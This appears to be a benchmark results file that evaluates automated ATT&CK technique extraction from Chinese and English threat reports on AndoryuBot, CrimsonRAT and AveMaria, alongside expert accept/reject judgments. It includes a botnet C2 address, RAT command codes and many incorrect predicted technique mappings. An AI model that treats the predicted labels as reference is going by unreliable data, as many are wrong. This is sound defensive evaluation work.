AndoryuBot 支持多种 DDoS 方法，具体如下：	[{'taid': 'TA0048', 'tactic': '影响业务', 'tid': 'T1498.001', 'technique': '网络流量生成'}, {'taid': 'TA0048', 'tactic': '影响业务', 'tid': 'T1498.003', 'technique': '拒绝服务攻击'}]	2	[0, 1]
通过对样本的关联分析，Andoryu Botnet 更新始于 2022 年 12 月份，期间进行过两次更新迭代，更新时作者并未将样本中的输出测试时间进行修改，更新内容主要是 DST_C2 地址及支持的架构，最新版本 AndoryuBot 支持的 CPU 架构如下：	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1036.003', 'technique': '修改文件属性'}, {'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1064', 'technique': '调用已存在的可执行文件'}, {'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1027', 'technique': '编码'}, {'taid': 'TA0013', 'tactic': '远程访问', 'tid': 'T1018', 'technique': '代码清理'}]	4	[0, 1, 2, 3]
Andoryu Botnet 的传播方式除了 CVE-2021-22205 外，还通过 Lilin DVR RCE 进行扩散，本次发现的 Payload 如下：	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1105', 'technique': '远程文件复制'}, {'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1027', 'technique': '编码'}, {'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059', 'technique': '命令行参数'}, {'taid': 'TA0043', 'tactic': '建立持久性', 'tid': 'T1542', 'technique': '创建服务'}, {'taid': 'TA0001', 'tactic': '初始化访问', 'tid': 'T1105', 'technique': '远程文件复制'}, {'taid': 'TA0001', 'tactic': '初始化访问', 'tid': 'T1105', 'technique': '远程文件复制'}]	6	[0, 1, 2, 3, 4, 5]
C&C:	[{'taid': 'TA0013', 'tactic': '远程访问', 'tid': 'T1573', 'technique': '越界写'}]	1	[0]

Expert Review Result

text	tts	ttps_pred_count	ttps_accept_idx
2023 年 2 月初，奇安信威胁情报中心威胁监控系统监测到一起未知家族恶意样本利用 CVE-2021-22205 漏洞传播的事件，经过分析确认该样本不属于已知的僵尸网络家族。	[{'taid': 'TA0043', 'tactic': '建立持久性', 'tid': 'T1547.03', 'technique': '修改启动项'}]	1	[]
Andoryu Botnet 最近传播趋势如下，通过其活跃时间点我们得知 Andoryu Botnet 当前仅在样本进行更新迭代的时间点前后进行小范围传播，因此可以判断该僵尸网络还处于测试阶段：	[{'taid': 'TA0001', 'tactic': '初始化访问', 'tid': 'T1566', 'technique': '访问软件或服务'}]	1	[]
运行时会首先判断是否存在参数，当存有一个参数时样本才会正常运行：	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059', 'technique': '命令行参数'}]	1	[]

样本中的大部分关键字符串加密，运行前期通过一个函数对所有加密的字符串进行批量解密：	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1027', 'technique': '编码'}]	1	[0]
使用 prctl 函数将进程名修改为 "/bin/bash"：	[{'taid': 'TA0004', 'tactic': '欺骗防御', 'tid': 'T1036.005', 'technique': '欺骗进程名'}]	1	[0]
解密后的字符串中存在该僵尸网络信息，样本运行时将其打印到控制台：	[{'taid': 'TA0005', 'tactic': '命令与控制', 'tid': 'T1059.001', 'technique': '隐藏敏感输出'}]	1	[]
该僵尸网络通过 socks 协议进行通信，具体通信过程如下：	[{'taid': 'TA0012', 'tactic': '内网渗透', 'tid': 'T1571.001', 'technique': '网络使内部主机信息可用'}, {'taid': 'TA0012', 'tactic': '内网渗透', 'tid': 'T1571.002', 'technique': '网络使内部子网信息可见'}, {'taid': 'TA0012', 'tactic': '内网渗透', 'tid': 'T1571.003', 'technique': '网络使内部主机信息可见'}, {'taid': 'TA0013', 'tactic': '远程访问', 'tid': 'T1105', 'technique': '远程文件复制'}, {'taid': 'TA0013', 'tactic': '远程访问', 'tid': 'T1071', 'technique': '命令与控制'}]	5	[]
采用无用户密码认证的 socks5 代理：	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1078.002', 'technique': '网络代理'}]	1	[0]
告知代理服务器需要访问哪个远程服务器，远程服务器地址批量解密时获取，DST_C2 = "172.86.123.20:1025"。	[{'taid': 'TA0013', 'tactic': '远程访问', 'tid': 'T1573', 'technique': '越界写'}]	1	[]
通过代理接收 C2 下发指令。	[{'taid': 'TA0013', 'tactic': '远程访问', 'tid': 'T1105', 'technique': '远程文件复制'}, {'taid': 'TA0013', 'tactic': '远程访问', 'tid': 'T1001', 'technique': '数据从远程系统收集'}]	2	[]
AndoryuBot 支持多种 DDoS 方法，具体如下：	[{'taid': 'TA0048', 'tactic': '影响业务', 'tid': 'T1498.001', 'technique': '网络流量生成'}, {'taid': 'TA0048', 'tactic': '影响业务', 'tid': 'T1498.003', 'technique': '拒绝服务攻击'}]	2	[1]
通过对样本的关联分析，Andoryu Botnet 更新始于 2022 年 12 月份，期间进行过两次更新迭代，更新时作者并未将样本中的输出测试时间进行修改，更新内容主要是 DST_C2 地址及支持的架构，最新版本 AndoryuBot 支持的 CPU 架构如下：	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1036.003', 'technique': '修改文件属性'}, {'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1064', 'technique': '调用已存在的可执行文件'}, {'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1027', 'technique': '编码'}, {'taid': 'TA0013', 'tactic': '远程访问', 'tid': 'T1018', 'technique': '代码清理'}]	4	[]
Andoryu Botnet 的传播方式除了 CVE-2021-22205 外，还通过 Lilin DVR RCE 进行扩散，本次发现的 Payload 如下：	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1105', 'technique': '远程文件复制'}, {'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1027', 'technique': '编码'}, {'taid':	6	[]

	'TA0002', 'tactic': '执行', 'tid': 'T1059', 'technique': '命令行参数'}, {'taid': 'TA0043', 'tactic': '建立持久性', 'tid': 'T1542', 'technique': '创建服务'}, {'taid': 'TA0001', 'tactic': '初始化访问', 'tid': 'T1105', 'technique': '远程文件复制'}, {'taid': 'TA0001', 'tactic': '初始化访问', 'tid': 'T1105', 'technique': '远程文件复制'}]		
C&C:	[{'taid': 'TA0013', 'tactic': '远程访问', 'tid': 'T1573', 'technique': '越界写'}]	1	[]

Test Report 3 APT-C-56（透明部落）伪装简历攻击活动分析

URL: https://mp.weixin.qq.com/s?__biz=MzUyMjk4NzExMA==&mid=2247491963&idx=1&sn=7926f96c1319a8179770e7fc09bb1fee

TTPExtractor Infer Result

sent	ttps	entities	ttps_pred_count	ttps_accept_idx
利用伪装简历的诱饵文档进行攻击活动。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1036', 'technique': '伪装'}]	[]	1	[0]
2.1 伪装文档	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1036', 'technique': '伪装'}]	[]	1	[0]
我们推测是同一批攻击行动，与之不同的是，我们捕获的恶意文档打开内部只包含宏代码，一旦用户疏忽点击了启动宏功能，内部隐藏的恶意宏代码自动运行。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB 宏'}]	[]	1	[0]
推文更新截止时间为 2021 年 7 月，虽然这与我们推测的行动时间相一致，暂时无法判断这个推特与文档是否有关联。	[{'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1124', 'technique': '系统时间发现'}]	[]	1	[0]
宏代码在 ALLUSERSPROFILE 目录下伪装成 Mdiaz 相关程序，从恶意文档的指定结构中读取隐藏的数据并写入文件中，可以看出 APT-C-56（透明部落）利用简单的字符串拼接技术，对 exe 字符进行拆解，以躲避杀毒引擎的静态查杀。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1036', 'technique': '伪装'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027', 'technique': '混淆文件或信息'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027.005', 'technique': '消除工具中能被检测到的特征'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'QT9003.001', 'technique': '终端安全工具检测绕过'}]	[]	4	[0, 1, 2, 3]
启动释放的恶意 PE 程序，同时进一步读取内部隐藏的正常文本文档数据，释放到	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1036', 'technique': '伪装'}]	[]	1	[0]

worddcs.docx，最后打开这个文档伪装迷惑用户。				
判断目录下是否有以.ford 为后缀的文件，如果有，直接创建启动文件。	[{'taid': 'TA0003', 'tactic': '持久化', 'tid': 'T1547.001', 'technique': '注册表 Run 键值启动目录'}]	[]	1	[0]
随后判断资源内是否存储有后门 RAT，如果没有，通过网络连接从 C&C 下载并运行。	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
下载后释放的 RAT 后门伪装成 FireFox 浏览器，是透明部落一直维护和使用的 CrimsonRAT。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1036', 'technique': '伪装'}]	[['malware', 'RAT']]	1	[0]
枚举进程	[{'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1057', 'technique': '进程发现'}]	[]	1	[0]
上传 gif	[{'taid': 'TA0010', 'tactic': '数据渗漏', 'tid': 'T1041', 'technique': 'C2 通道上的数据渗漏'}]	[['malware', 'gif']]	1	[0]
枚举进程	[{'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1057', 'technique': '进程发现'}]	[]	1	[0]
设置自启动	[{'taid': 'TA0003', 'tactic': '持久化', 'tid': 'T1547.001', 'technique': '注册表 Run 键值启动目录'}]	[]	1	[0]
下载文件	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
设置截屏	[{'taid': 'TA0009', 'tactic': '采集', 'tid': 'T1113', 'technique': '截屏'}]	[]	1	[0]
查看截图	[{'taid': 'TA0009', 'tactic': '采集', 'tid': 'T1113', 'technique': '截屏'}]	[]	1	[0]
停止截屏	[{'taid': 'TA0009', 'tactic': '采集', 'tid': 'T1113', 'technique': '截屏'}]	[]	1	[0]
桌面截图	[{'taid': 'TA0009', 'tactic': '采集', 'tid': 'T1113', 'technique': '截屏'}]	[]	1	[0]
删除文件	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1070.004', 'technique': '删除文件痕迹'}]	[]	1	[0]
删除用户	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1070.004', 'technique': '删除文件痕迹'}]	[]	1	[0]

获取用户信息	[{'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1033', 'technique': '系统所有者或用户发现'}]	[]	1	[0]
通过宏代码的相似以及 CrimsonRAT 判断这是 APT-C-56（透明部落）的攻击活动， 此次发现的样本，与我们之前发布的 APT-C-56（透明部落）攻击分析报告有多处相似的地方。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB 宏'}]	[]	1	[0]
1.1 宏代码相似	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB 宏'}]	[]	1	[0]
此次发现的样本通过网络连接下载后续 RAT。	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]

Expert Review Result

sent	ttps	entities	ttps_pred_count	ttps_accept_idx
利用伪装简历的诱饵文档进行攻击活动。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1036', 'technique': '伪装'}]	[]	1	[0]
2.1 伪装文档	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1036', 'technique': '伪装'}]	[]	1	[0]
我们推测是同一批攻击行动，与之不同的是，我们捕获的恶意文档打开内部只包含宏代码，一旦用户疏忽点击了启动宏功能，内部隐藏的恶意宏代码自动运行。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB 宏'}]	[]	1	[0]
推文更新截止时间为 2021 年 7 月，虽然这与我们推测的行动时间相一致，暂时无法判断这个推特与文档是否有关联。	[{'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1124', 'technique': '系统时间发现'}]	[]	1	[]
宏代码在 ALLUSERSPROFILE 目录下伪装成 Mdiaz 相关程序，从恶意文档的指定结构中读取隐藏的数据并写入文件中，可以看出 APT-C-56（透明部落）利用简单的字符串拼接技术，对 exe 字符进行拆解，以躲避杀毒引擎的静态查杀。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1036', 'technique': '伪装'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027', 'technique': '混淆文件或信息'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027.005', 'technique': '消除工具中能被检测到的特征'}, {'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'QT9003.001', 'technique': '终端安全工具检测绕过'}]	[]	4	[0, 1, 3]
启动释放的恶意 PE 程序，同时进一步读取内部隐藏的正常文本文档数据，释放到 worddcs.docx，最后打开这个文档伪装迷惑用户。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1036', 'technique': '伪装'}]	[]	1	[0]

判断目录下是否有以.ford 为后缀的文件，如果有，直接创建启动文件。	[{'taid': 'TA0003', 'tactic': '持久化', 'tid': 'T1547.001', 'technique': '注册表 Run 键值启动目录'}]	[]	1	[]
随后判断资源内是否存储有后门 RAT，如果没有，通过网络连接从 C&C 下载并运行。	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
下载后释放的 RAT 后门伪装成 FireFox 浏览器，是透明部落一直维护和使用的 CrimsonRAT。	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1036', 'technique': '伪装'}]	[['malware', 'RAT']]	1	[0]
枚举进程	[{'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1057', 'technique': '进程发现'}]	[]	1	[0]
上传 gif	[{'taid': 'TA0010', 'tactic': '数据渗漏', 'tid': 'T1041', 'technique': 'C2 通道上的数据渗漏'}]	[['malware', 'gif']]	1	[0]
枚举进程	[{'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1057', 'technique': '进程发现'}]	[]	1	[0]
设置自启动	[{'taid': 'TA0003', 'tactic': '持久化', 'tid': 'T1547.001', 'technique': '注册表 Run 键值启动目录'}]	[]	1	[0]
下载文件	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
设置截屏	[{'taid': 'TA0009', 'tactic': '采集', 'tid': 'T1113', 'technique': '截屏'}]	[]	1	[0]
查看截图	[{'taid': 'TA0009', 'tactic': '采集', 'tid': 'T1113', 'technique': '截屏'}]	[]	1	[]
停止截屏	[{'taid': 'TA0009', 'tactic': '采集', 'tid': 'T1113', 'technique': '截屏'}]	[]	1	[0]
桌面截图	[{'taid': 'TA0009', 'tactic': '采集', 'tid': 'T1113', 'technique': '截屏'}]	[]	1	[0]
删除文件	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1070.004', 'technique': '删除文件痕迹'}]	[]	1	[0]
删除用户	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1070.004', 'technique': '删除文件痕迹'}]	[]	1	[]
获取用户信息	[{'taid': 'TA0007', 'tactic': '发现', 'tid': 'T1033', 'technique': '系统所有者或用户发现'}]	[]	1	[0]

通过宏代码的相似以及 CrimsonRAT 判断这是 APT-C-56（透明部落）的攻击活动， 此次发现的样本，与我们之前发布的 APT-C-56（透明部落）攻击分析报告有多处相似的地方。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB 宏'}]	[]	1	[0]
1.1 宏代码相似	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB 宏'}]	[]	1	[0]
此次发现的样本通过网络连接下载后续 RAT。	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]

ChatGPT Infer Result

text	tts	ttps_pred_count	ttps_accept_idx
APT-C-56 透明部落	[{'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1485', 'technique': 'Data Destruction'}, {'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1499', 'technique': 'Endpoint Denial of Service'}]	2	[0, 1]
其一直针对印度的政府、公共部门、各行各业包括但不限于医疗、电力、金融、制造业等保持高强度的信息窃取活动。	[{'taid': 'TA0003', 'tactic': 'Collection', 'tid': 'T1114', 'technique': 'Email Collection'}]	1	[0]
其利用外链针对外贸行业的攻击活动。	[{'taid': 'TA0005', 'tactic': 'Collection', 'tid': 'T1204', 'technique': 'User Execution'}]	1	[0]
利用伪装简历的诱饵文档进行攻击活动。	[{'taid': 'TA0003', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}]	1	[0]
通过 Dropper 释放 CrimsonRAT 对中招用户持续监控。	[{'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1064', 'technique': 'Scripting'}]	1	[0]
宏代码在 ALLUSERSPROFILE 目录下伪装成 Mdiaz 相关程序	[{'taid': 'TA0004', 'tactic': 'Execution', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	1	[0]
可以看出 APT-C-56（透明部落）利用简单的字符串拼接技术，对 exe 字符进行拆解，以躲避杀毒引擎的静态查杀。	[{'taid': 'TA0040', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	1	[0]
释放的 PE 文件是一个.Net 的 Dropper 程序。	[{'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1574', 'technique': 'Hijack Execution Flow'}]	1	[0]
判断目录下是否有以.ford 为后缀的文件，如果有，直接创建启动文件。没有指定后缀文件则直接进入后续释放流程。	[{'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1203', 'technique': 'Exploitation for Client Execution'}]	1	[0]
随后判断资源内是否存储有后门 RAT，如果没有，通过网络连接从 C&C 下载并运行。	[{'taid': 'TA0002', 'tactic': 'Command and Control', 'tid': 'T1105', 'technique': 'Remote File Copy'}]	1	[0]
透明部落一直维护和使用的 CrimsonRAT。	[{'taid': 'TA0040', 'tactic': 'Command and Control', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}, {'taid': 'TA0040', 'tactic': 'Command and Control', 'tid': 'T1105', 'technique': 'Remote File Copy'}]	2	[0, 1]

控制码与命令如下： 指令 控制码 枚举进程 **gey7tavs** 上传 gif **thy7umb** 枚举进程 **pry7ocl** 设置自启动 **puy7tsrt** 下载文件 **doy7wf** 设置截屏 **scy7rsz** 获取文件属性 **fiy7lsz** 查看截图 **cdy7crgn** **csy7crgn** **csy7dcrgn** 停止截屏 **sty7ops** 桌面截图 **scyr7en** 获取磁盘信息 **diy7rs** 参数初始化 **cny7ls** 删除文件 **de**	[{'taid': 'TA0003', 'tactic': 'Command and Control', 'tid': 'T1071', 'technique': 'Application Layer Protocol'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1106', 'technique': 'Execution through API'}, {'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1055', 'technique': 'Process Injection'}]	4	[0, 1, 2, 3]
此次发现的样本，与我们之前发布的 **APT-C-56**（透明部落）攻击分析报告有多处相似的地方。	[{'taid': 'TA0040', 'tactic': 'Collection', 'tid': 'T1114', 'technique': 'Email Collection'}]	1	[0]
通过宏代码的相似以及 **CrimsonRAT** 判断这是 **APT-C-56**（透明部落）的攻击活动	[{'taid': 'TA0003', 'tactic': 'Initial Access', 'tid': 'T1070', 'technique': 'Indicator Removal on Host'}]	1	[0]
此次发现的样本通过网络连接下载后续 **RAT**。	[{'taid': 'TA0002', 'tactic': 'Command and Control', 'tid': 'T1105', 'technique': 'Remote File Copy'}]	1	[0]
上次的攻击活动直接通过资源释放 **RAT**。	[{'taid': 'TA0040', 'tactic': 'Command and Control', 'tid': 'T1105', 'technique': 'Remote File Copy'}]	1	[0]
印巴之间 **APT** 组织之间相互伪装、攻击的事件时有发生，主要是为了迷惑安全厂商分析人员，达到避免暴露自身的目的。	[{'taid': 'TA0040', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}, {'taid': 'TA0040', 'tactic': 'Defense Evasion', 'tid': 'T1001', 'technique': 'Data Obfuscation'}, {'taid': 'TA0040', 'tactic': 'Defense Evasion', 'tid': 'T1020', 'technique': 'Automated Collection'}, {'taid': 'TA0040', 'tactic': 'Defense Evasion', 'tid': 'T1070', 'technique': 'Indicator Removal on Host'}]	4	[0, 1, 2, 3]

巴基斯坦的 sidecopy 组织一直模仿响尾蛇的攻击方式，是否印度组织也会模仿透明部落的进行攻击活动。	[{'taid': 'TA0028', 'tactic': 'Technical Information Gathering', 'tid': 'T1595', 'technique': 'Active Scanning'}, {'taid': 'TA0040', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}, {'taid': 'TA0029', 'tactic': 'Establish & Maintain Infrastructure', 'tid': 'T1583', 'technique': 'Domain Generation Algorithms'}, {'taid': 'TA0040', 'tactic': 'Command and Control', 'tid': 'T1494', 'technique': 'Ingress Tool Transfer'}, {'taid': 'TA0040', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerading'}, {'taid': 'TA0040', 'tactic': 'Defense Evasion', 'tid': 'T1107', 'technique': 'File Deletion'}, {'taid': 'TA0040', 'tactic': 'Command and Control', 'tid': 'T1071', 'technique': 'Application Layer Protocol'}, {'taid': 'TA0040', 'tactic': 'Collection', 'tid': 'T1114', 'technique': 'Email Collection'}]	8	[0, 1, 2, 3, 4, 5, 6, 7]
通过网络攻击活动占领情报先机，维护国家安全也显示越发重要。	[{'taid': 'TA0040', 'tactic': 'Collection', 'tid': 'T1114', 'technique': 'Email Collection'}]	1	[0]

Expert Review Result

text	tts	ttps_pred_count	ttps_accept_idx
APT-C-56 透明部落	[{'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1485', 'technique': 'Data Destruction'}, {'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1499', 'technique': 'Endpoint Denial of Service'}]	2	[]
其一直针对印度的政府、公共部门、各行各业包括但不限于医疗、电力、金融、制造业等保持高强度的信息窃取活动。	[{'taid': 'TA0003', 'tactic': 'Collection', 'tid': 'T1114', 'technique': 'Email Collection'}]	1	[]
其利用外链针对外贸行业的攻击活动。	[{'taid': 'TA0005', 'tactic': 'Collection', 'tid': 'T1204', 'technique': 'User Execution'}]	1	[]
利用伪装简历的诱饵文档进行攻击活动。	[{'taid': 'TA0003', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}]	1	[0]
通过 **Dropper** 释放 **CrimsonRAT** 对中招用户持续监控。	[{'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1064', 'technique': 'Scripting'}]	1	[]
宏代码在 **ALLUSERSPROFILE** 目录下伪装成 **Mdiaz** 相关程序	[{'taid': 'TA0004', 'tactic': 'Execution', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	1	[]
可以看出 **APT-C-56**（透明部落）利用简单的字符串拼接技术，对 **exe** 字符进行拆解，以躲避杀毒引擎的静态查杀。	[{'taid': 'TA0040', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	1	[0]
释放的 **PE** 文件是一个**.Net** 的 **Dropper** 程序。	[{'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1574', 'technique': 'Hijack Execution Flow'}]	1	[]
判断目录下是否有以**.ford** 为后缀的文件，如果有，直接创建启动文件。没有指定后缀文件则直接进入后续释放流程。	[{'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1203', 'technique': 'Exploitation for Client Execution'}]	1	[]
随后判断资源内是否存储有后门 **RAT**，如果没有，通过网络连接从 **C&C** 下载并运行。	[{'taid': 'TA0002', 'tactic': 'Command and Control', 'tid': 'T1105', 'technique': 'Remote File Copy'}]	1	[0]

透明部落一直维护和使用的 **CrimsonRAT**。	[{'taid': 'TA0040', 'tactic': 'Command and Control', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}, {'taid': 'TA0040', 'tactic': 'Command and Control', 'tid': 'T1105', 'technique': 'Remote File Copy'}]	2	[]
控制码与命令如下： 指令 控制码 枚举进程 **gey7tavs** 上传 **gif** **thy7umb** 枚举进程 **pry7ocl** 设置自启动 **puy7tsrt** 下载文件 **doy7wf** 设置截屏 **scy7rsz** 获取文件属性 **fiy7lsz** 查看截图 **cdy7crgn** **csy7crgn** **csy7dcrgn** 停止截屏 **sty7ops** 桌面截图 **scyr7en** 获取磁盘信息 **diy7rs** 参数初始化 **cny7ls** 删除文件 **de**	[{'taid': 'TA0003', 'tactic': 'Command and Control', 'tid': 'T1071', 'technique': 'Application Layer Protocol'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1106', 'technique': 'Execution through API'}, {'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1055', 'technique': 'Process Injection'}]	4	[]
此次发现的样本，与我们之前发布的 **APT-C-56**（透明部落）攻击分析报告有多处相似的地方。	[{'taid': 'TA0040', 'tactic': 'Collection', 'tid': 'T1114', 'technique': 'Email Collection'}]	1	[]
通过宏代码的相似以及 **CrimsonRAT** 判断这是 **APT-C-56**（透明部落）的攻击活动	[{'taid': 'TA0003', 'tactic': 'Initial Access', 'tid': 'T1070', 'technique': 'Indicator Removal on Host'}]	1	[]
此次发现的样本通过网络连接下载后续 **RAT**。	[{'taid': 'TA0002', 'tactic': 'Command and Control', 'tid': 'T1105', 'technique': 'Remote File Copy'}]	1	[0]
上次的攻击活动直接通过资源释放 **RAT**。	[{'taid': 'TA0040', 'tactic': 'Command and Control', 'tid': 'T1105', 'technique': 'Remote File Copy'}]	1	[]
印巴之间 **APT** 组织之间相互伪装、攻击的事件时有发生，主要是为了迷惑安全厂商分析人员，达到避免暴露自身的目的。	[{'taid': 'TA0040', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}, {'taid': 'TA0040', 'tactic': 'Defense Evasion', 'tid': 'T1001', 'technique': 'Data Obfuscation'}, {'taid': 'TA0040', 'tactic': 'Defense Evasion', 'tid': 'T1020', 'technique': 'Automated Collection'}, {'taid': 'TA0040', 'tactic':	4	[]

	'Defense Evasion', 'tid': 'T1070', 'technique': 'Indicator Removal on Host'}]		
巴基斯坦的 sidecopy 组织一直模仿响尾蛇的攻击方式，是否印度组织也会模仿透明部落的进行攻击活动。	[{'taid': 'TA0028', 'tactic': 'Technical Information Gathering', 'tid': 'T1595', 'technique': 'Active Scanning'}, {'taid': 'TA0040', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}, {'taid': 'TA0029', 'tactic': 'Establish & Maintain Infrastructure', 'tid': 'T1583', 'technique': 'Domain Generation Algorithms'}, {'taid': 'TA0040', 'tactic': 'Command and Control', 'tid': 'T1494', 'technique': 'Ingress Tool Transfer'}, {'taid': 'TA0040', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerading'}, {'taid': 'TA0040', 'tactic': 'Defense Evasion', 'tid': 'T1107', 'technique': 'File Deletion'}, {'taid': 'TA0040', 'tactic': 'Command and Control', 'tid': 'T1071', 'technique': 'Application Layer Protocol'}, {'taid': 'TA0040', 'tactic': 'Collection', 'tid': 'T1114', 'technique': 'Email Collection'}]	8	[]
通过网络攻击活动占领情报先机，维护国家安全也显示越发重要。	[{'taid': 'TA0040', 'tactic': 'Collection', 'tid': 'T1114', 'technique': 'Email Collection'}]	1	[]

Test Report 4 Dynamic Approaches seen in AveMaria's Distribution Strategy

URL: https://www.zscaler.com/blogs/security-research/dynamic-approaches-seen-avemarias-distribution-strategy

TTPExtractor Infer Result

sent	ttps	entities	ttps_pred_count	ttps_accept_idx
AveMaria attacks are initiated via phishing emails, once the dropped payload infects the victim's machine with the malware, it establishes communication with the attacker's Command-and-Control (C2) server on non-HTTP protocol, after decrypting its C2 connection using RC4 algorithm.	[{'taid': 'TA0011', 'tactic': 'command-and-control', 'tid': 'T1573.001', 'technique': 'SymmetricCryptography'}]	[['malware', 'AveMaria']]	1	[0]
The most recent variation in the AveMaria attack chain technique leverages a custom downloader that decrypts a disguised payload by converting the value data type to another, known as type casting.	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1140', 'technique': 'DeobfuscateDecodeFilesorInformation'}]	[['malware', 'AveMaria']]	1	[0]
DECEMBER | .Vhd(x)_campaign	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1553.005', 'technique': 'Mark-of-the-WebBypass'}]	[]	1	[0]
In December, ThreatLabz researchers identified the AveMaria .Vhd(x) campaign.	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1553.005', 'technique': 'Mark-of-the-WebBypass'}]	[]	1	[0]
This campaign is defined by the discovery of a new execution technique that uses the Virtual Hard Disk file format to drop the malicious downloader payload in one of the two formats onto the victim's machine.	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
.Vhd(x) campaign Targeting Kazakhstan Officials	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1553.005', 'technique': 'Mark-of-the-WebBypass'}]	[]	1	[0]

